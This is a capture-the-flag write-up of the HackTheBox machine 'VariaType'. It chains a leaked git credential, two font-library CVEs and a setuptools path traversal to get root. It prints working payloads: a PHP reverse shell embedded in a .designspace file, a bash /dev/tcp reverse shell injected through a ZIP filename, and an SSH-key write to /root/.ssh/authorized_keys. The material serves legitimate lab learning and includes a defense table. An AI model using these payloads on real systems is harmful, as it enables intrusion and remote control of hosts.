← Writeups
MediumLinuxHackTheBoxCVE-2025-66034CVE-2024-25082

VariaType: HackTheBox Writeup (Linux, Medium)

An exposed .git directory leaks hardcoded credentials, two CVEs in font processing libraries chain together for RCE as www-data then steve, and a sudo misconfiguration in setuptools lets you write an SSH key directly to /root/.ssh/authorized_keys.

2026-03-16

// Attack Chain

Exposed .git → hardcoded creds → CVE-2025-66034 (fontTools) → www-data → CVE-2024-25082 (FontForge) → steve → setuptools path traversal → Root

Attack Chain Overview

CODE
Exposed .git directory
        ↓
Recover deleted commit → hardcoded credentials
        ↓
CVE-2025-66034 (fontTools varLib)
XML injection + path traversal → PHP reverse shell (www-data)
        ↓
CVE-2024-25082 (FontForge ZIP filename injection)
Malicious ZIP → shell as steve
        ↓
sudo misconfig → setuptools PackageIndex path traversal
Write SSH pubkey → /root/.ssh/authorized_keys
        ↓
ROOT

Phase 1: Reconnaissance & Git Object Recovery

What Was Found

The machine had an exposed .git directory on the subdomain portal. Initial files found:

CODE
HEAD    → ref: refs/heads/master
master  → 753b5f5957f2020480a19bf29a0ebc80267a4a3d

A loose object file was also present, a zlib compressed git object.

Why Git Objects Work This Way

Git stores everything as content-addressed objects compressed with zlib. The SHA1 hash of the content IS the filename. Objects live at:

CODE
.git/objects/<first 2 chars of hash>/<remaining 38 chars>

To read any object, you place it in the correct path inside a valid .git structure and use git cat-file -p <hash>.

Reconstructing the Repository

BASH
mkdir repo && cd repo
git init
mkdir -p .git/objects/75
mv ../3b5f5957f2020480a19bf29a0ebc80267a4a3d .git/objects/75/

git cat-file -p 753b5f5957f2020480a19bf29a0ebc80267a4a3d

Output:

CODE
tree c6ea13ef05d96cf3f35f62f87df24ade29d1d6b4
parent 5030e791b764cb2a50fcb3e2279fea9737444870
author Dev Team <dev@variatype.htb>
committer Dev Team <dev@variatype.htb>

fix: add gitbot user for automated validation pipeline

The commit message said "add gitbot user", meaning credentials were added in this commit. Following the object chain:

CODE
commit → tree → blob (auth.php)

Each object was fetched directly from the web server:

BASH
wget http://portal.variatype.htb/.git/objects/c6/ea13ef...
wget http://portal.variatype.htb/.git/objects/b3/28305f...

Reading the blob revealed:

PHP
<?php
$USERS = [
    'gitbot' => 'G1tB0t_Acc3ss_2025!'
];

Why deleted files still exist in git: Even if a developer deletes a file in a later commit, the blob object still exists in .git/objects/ because Git never garbage collects unless explicitly told to. This is why committing secrets is permanently dangerous, even after deletion.


Phase 2: CVE-2025-66034 (fontTools varLib RCE)

Vulnerability Summary

FieldDetail
CVECVE-2025-66034
Packagefonttools (pip)
Affected>= 4.33.0, < 4.60.2
TypeArbitrary File Write + XML Injection → RCE

Root Cause

Two flaws combined:

Flaw 1, Unsanitized filename in path join:

PYTHON
filename = vf.filename          # taken directly from .designspace XML
output_path = os.path.join(output_dir, filename)  # path traversal possible
vf.save(output_path)            # writes to arbitrary location

The fix in 4.60.2:

PYTHON
filename = os.path.basename(vf.filename)  # strips traversal sequences

Flaw 2, XML injection via CDATA in labelname:

XML
<labelname xml:lang="en"><![CDATA[<?php system('cmd'); ?>]]]]><![CDATA[>]]></labelname>

The CDATA content gets embedded verbatim into the output font file. If that file has a .php extension and lands in a web-accessible directory, it executes as PHP.

How the App Processed Files

PYTHON
UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'

subprocess.run(
    ['fonttools', 'varLib', 'config.designspace'],
    cwd=workdir,
    check=True
)
# Then copies output file to DOWNLOAD_FOLDER

The Malicious .designspace Payload

XML
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php
set_time_limit(0);
$ip='10.10.16.121';
$port=4444;
$sock=fsockopen($ip,$port);
$proc=proc_open('sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="Shell" filename="shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Getting the Shell

BASH
# Terminal 1
nc -lvnp 4444

# Upload the 3 files via dashboard, then trigger:
curl http://portal.variatype.htb/files/shell.php

Shell received as www-data.

Shell Stabilisation

BASH
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 160

Phase 3: CVE-2024-25082 (FontForge ZIP Filename Injection)

The Vulnerable Script

process_client_submissions.bak ran as steve via a systemd timer. The critical vulnerable section:

BASH
# Checks the ZIP filename is safe (passes for evil.zip):
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

# But passes filename directly into Python string:
fontforge -lang=py -c "
    font = fontforge.open('$file')   # ← INJECTION HERE
"

Why the Regex Didn't Protect Against This

The regex checked the ZIP container filename (evil.zip), which passed. But CVE-2024-25082 exploits the fact that FontForge processes filenames inside the ZIP. Those internal filenames were never checked and got injected into the Python -c string.

The Injection Payload

Internal ZIP filename:

CODE
');__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.16.121/5555 0>&1"')#.ttf

When inserted into the FontForge command:

PYTHON
# Before injection:
font = fontforge.open('evil.ttf')

# After injection:
font = fontforge.open('');__import__('os').system('bash -c "..."')#.ttf')

Why File Creation Required Python chr()

Creating a file with shell metacharacters in its name from bash fails because the shell interprets special characters. The solution was using Python's chr() to build the filename character by character:

PYTHON
name = (chr(39)+chr(41)+chr(59)+
       "__import__"+chr(40)+chr(39)+"os"+chr(39)+chr(41)+
       ".system"+chr(40)+chr(39)+
       "bash -c \"bash -i >& /dev/tcp/10.10.16.121/5555 0>&1\""+
       chr(39)+chr(41)+"#.ttf")
open(name,'w').close()

Building and Delivering the ZIP

BASH
# Create malicious file and zip it
python3 mkpayload.py
zip -j evil.zip zipbuild/*

# Transfer to upload directory via www-data shell
cp evil.zip /var/www/portal.variatype.htb/public/files/

# Listener on Kali
nc -lvnp 5555

Shell received as steve.


User Flag

BASH
steve@variatype:~$ cat user.txt

Phase 4: Privilege Escalation to Root

Sudo Rule Discovered

CODE
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The Vulnerability: setuptools PackageIndex Path Traversal

PYTHON
from setuptools.package_index import PackageIndex

PLUGIN_DIR = "/opt/font-tools/validators"
index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
# Derives local filename from URL path: URL-encoded slashes bypass directory restriction

What Was Tried and Why It Failed

Attempt 1, Standard ../ traversal: HTTP server resolved locally → 404

Attempt 2, %2F encoded slashes: Python's built-in HTTP server decoded %2F to / → 404

Fix: Replaced python3 -m http.server with a custom server that serves authorized_keys regardless of URL path:

PYTHON
class AnyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("authorized_keys", "rb") as f:
            data = f.read()
        self.send_response(200)
        self.end_headers()
        self.wfile.write(data)

Attempt 3, Double encoded %252F: Saved as literal %2F characters in filename, not path separators.

Attempt 4, Symlink inside validators: No write permission to /opt/font-tools/validators/.

What Finally Worked: Multiple Leading Slashes

BASH
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.16.121:8080/%2F%2F%2F%2Froot%2F.ssh%2Fauthorized_keys"

Result:

CODE
Plugin installed at: ////root/.ssh/authorized_keys

Why this worked: In Linux/Unix (POSIX), multiple consecutive forward slashes at the start of a path are normalized to a single /. So ////root/.ssh/authorized_keys is identical to /root/.ssh/authorized_keys. The %2F encoding decoded to / giving four leading slashes which the OS treated as the filesystem root, completely bypassing the PLUGIN_DIR restriction.

Getting Root

BASH
# Generate keypair on Kali
ssh-keygen -t rsa -f ~/hackthebox/VariaType/root_key -N ""

# Serve with custom HTTP server
cp root_key.pub authorized_keys
python3 server.py

# Exploit on steve's shell
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.16.121:8080/%2F%2F%2F%2Froot%2F.ssh%2Fauthorized_keys"

# SSH as root
ssh -i ~/hackthebox/VariaType/root_key root@10.129.6.4

Root Flag

BASH
root@variatype:~# cat /root/root.txt

What Went Wrong Along the Way

HTTP server decoding %2F: Spent time debugging why path traversal wasn't working, the built-in Python HTTP server decoded %2F before serving, stripping the traversal. The fix (custom server ignoring URL path) was non-obvious.

Double encoding %252F: Tried double encoding to survive URL decoding, it survived but was saved as a literal string, not a path separator.

Symlink approach: Tried creating a symlink inside the validators directory, no write permissions blocked this.

Key insight: The POSIX multiple-slash normalization was the unlock. ////path equals /path in the filesystem, that's the behavior os.path.join() doesn't protect against.


Key Commands Reference

BASH
# Git object reconstruction
mkdir repo && cd repo && git init
mkdir -p .git/objects/75
mv <object_file> .git/objects/75/
git cat-file -p <full_hash>

# Fetch git objects from exposed server
wget http://portal.variatype.htb/.git/objects/<path>

# PHP reverse shell trigger
curl http://portal.variatype.htb/files/shell.php

# Build malicious ZIP for CVE-2024-25082
python3 mkpayload.py
zip -j evil.zip zipbuild/*

# Custom HTTP server (serves any file regardless of URL)
python3 server.py  # class AnyHandler above

# PrivEsc via setuptools path traversal
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.16.121:8080/%2F%2F%2F%2Froot%2F.ssh%2Fauthorized_keys"

# SSH as root
ssh -i root_key root@TARGET_IP

Lessons Learned

What Worked Well

What to Do Faster Next Time

Detection & Defense

How to detect this attack:

How to prevent it:


Lessons Summary Table

FindingRoot CauseReal-World Fix
Exposed .git directoryWeb server serving entire web rootBlock .git in nginx/apache config
Hardcoded creds in git historyDeveloper committed secrets then deleted themUse environment variables or vaults
CVE-2025-66034os.path.join() with unsanitized user inputSanitize with os.path.basename()
CVE-2024-25082Shell string interpolation of filenamesNever interpolate filenames into shell strings
setuptools path traversalURL-decoded filename used directly as file pathValidate with os.path.realpath()
////root/ bypassPOSIX path normalization of multiple slashesValidate with os.path.realpath()

CVE Summary

CVESoftwareTypeImpact
CVE-2025-66034fonttools (pip)XML injection + path traversalRCE as www-data
CVE-2024-25082FontForgeZIP filename injection into Python stringShell as steve

Tools Used

ToolPurpose
git cat-fileRead raw git objects
wgetFetch git objects from exposed server
fonttoolsLocal testing of CVE-2025-66034
zip / Python chr()Build malicious ZIP for CVE-2024-25082
ncCatch reverse shells
python3 pty + sttyUpgrade dumb shell to full TTY
Custom Python HTTP serverServe files regardless of URL path
ssh-keygenGenerate keypair for root access
← Back to writeups